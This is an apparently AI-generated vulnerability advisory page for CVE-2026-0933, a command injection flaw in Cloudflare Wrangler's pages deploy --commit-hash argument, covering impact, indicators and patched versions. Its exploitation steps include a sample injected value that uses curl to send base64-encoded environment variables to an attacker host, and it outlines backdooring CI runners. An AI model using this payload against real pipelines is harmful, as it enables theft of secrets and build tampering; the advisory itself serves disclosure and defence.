CVE-2026-0933: 
JavaScript vulnerability analysis and mitigation

Overview

CVE-2026-0933 is an OS Command Injection vulnerability (CWE-78) in Cloudflare's Wrangler CLI tool, specifically within the wrangler pages deploy command. The flaw allows an attacker with control over the --commit-hash parameter to execute arbitrary shell commands on the system running Wrangler. Affected versions include Wrangler 2.0.15 through 3.114.17 (exclusive) and 4.0.0 through 4.59.1 (exclusive) for Node.js. The vulnerability was published on January 20, 2026, with the GitHub Advisory released on January 21, 2026. It carries a CVSS v3.1 base score of 9.9 (Critical) and a CVSS v4.0 base score of 7.7 (High) (GitHub Advisory).

Technical details

The root cause is improper neutralization of special elements used in an OS command (CWE-78), compounded by improper input validation (CWE-20). The commitHash variable, derived directly from the --commit-hash CLI argument, is interpolated into a shell command via JavaScript template literals without sanitization — for example, execSync(\git show -s --format=%B ${commitHash}`). Because the shell interprets metacharacters in the unsanitized input, an attacker can inject arbitrary commands. Exploitation requires the attacker to control the --commit-hash` parameter, which is most likely in CI/CD pipelines where this value is populated from external or untrusted sources (GitHub Advisory).

Impact

Successful exploitation allows an attacker to run arbitrary shell commands on the system executing Wrangler, with the same privileges as the CI runner process. This can lead to full confidentiality, integrity, and availability compromise of the CI/CD environment, including exfiltration of sensitive environment variables (e.g., API keys, secrets), installation of backdoors, and tampering with build artifacts before deployment. The scope is changed, meaning downstream systems and deployed applications could also be affected if compromised build artifacts are published (GitHub Advisory).

Exploitability

There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation at this time. The EPSS score is approximately 0.068% (21st percentile), indicating a low near-term exploitation probability. Exploitation is constrained by the requirement that the attacker control the --commit-hash parameter, which limits the attack surface primarily to misconfigured or compromised CI/CD pipelines. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. It was responsibly disclosed by researcher kny4hacker (GitHub Advisory).

Exploitation steps

  1. Identify target: Locate a CI/CD pipeline (e.g., GitHub Actions, GitLab CI, Jenkins) that uses wrangler pages deploy with the --commit-hash parameter populated from an external or attacker-influenced source (e.g., a pull request branch name, user-supplied input, or environment variable derived from untrusted data).
  2. Craft malicious commit hash: Prepare a payload that abuses shell metacharacters, such as a value like abc123; curl http://attacker.com/exfil?data=$(env | base64) # to inject a secondary command after the legitimate git command.
  3. Inject the payload: Trigger the CI/CD pipeline with the malicious --commit-hash value, either by submitting a pull request, manipulating a pipeline trigger, or controlling an upstream input that populates the parameter.
  4. Achieve command execution: When Wrangler executes execSync(\git show -s --format=%B ${commitHash}`)`, the shell interprets the injected metacharacters and runs the attacker's command in the context of the CI runner.
  5. Post-exploitation: Use the shell access to exfiltrate environment variables (API tokens, secrets), install a backdoor on the runner, or modify build artifacts prior to deployment to Cloudflare Pages (GitHub Advisory).

Indicators of compromise

  • Logs: CI/CD pipeline logs showing unexpected output from wrangler pages deploy steps, such as base64-encoded data, network connection attempts, or error messages from injected commands; shell command output interleaved with git log output.
  • Network: Outbound HTTP/HTTPS requests from the CI runner to unknown external hosts during a wrangler pages deploy step; DNS lookups for attacker-controlled domains originating from the build environment.
  • Process: Unexpected child processes spawned by the Node.js/Wrangler process (e.g., curl, wget, bash, sh, python) during deployment steps; processes accessing /proc/self/environ or similar sensitive paths.
  • File System: New or modified files in the CI runner workspace or temp directories not associated with the build; unexpected scripts or binaries written to the runner environment during deployment.

Mitigation and workarounds

Cloudflare has released patched versions addressing this vulnerability. Wrangler v4 users should upgrade to v4.59.1 or higher; Wrangler v3 users should upgrade to v3.114.17 or higher. Users on Wrangler v2 (end-of-life) must migrate to a supported major version. As a configuration-level workaround, ensure the --commit-hash parameter in all CI/CD pipelines is populated exclusively from trusted, controlled sources (e.g., verified Git SHAs from the pipeline's own checkout step) and never from user-supplied or external input. Implementing input validation and allowlisting for commit hash values (e.g., enforcing a strict hexadecimal format) can further reduce risk (GitHub Advisory).

Community reactions

The vulnerability was responsibly disclosed by researcher kny4hacker and published by Cloudflare's security team (lrapoport-cf) via the GitHub Advisory Database on January 21, 2026. Coverage has appeared on security aggregation platforms including CIRCL, Vulners, and CVEFeed, as well as a technical write-up on infinitsec.net. Social media discussion was noted on Bluesky. No major vendor statements beyond the GitHub advisory or significant analyst commentary have been identified at this time (GitHub Advisory).

Additional resources


Source: This report was generated using AI

Related JavaScript vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-966w-4vpf-p7hcHIGH7.1
  • JavaScript logoJavaScript
  • @aloma.io/aloma
NoYesOct 25, 2026
GHSA-mrwp-f3q8-3g9pMEDIUM5.9
  • JavaScript logoJavaScript
  • follow-redirects
NoYesOct 25, 2026
GHSA-hfm3-x63j-7fxpHIGHN/A
  • JavaScript logoJavaScript
  • @payload-auth-link/migrate
NoYesOct 25, 2026
GHSA-6244-vvv9-76f5MEDIUMN/A
  • JavaScript logoJavaScript
  • @payload-auth-link/plugin
NoYesOct 25, 2026
GHSA-q53q-qg98-p9jfHIGHN/A
  • JavaScript logoJavaScript
  • llm-fw
NoYesOct 25, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management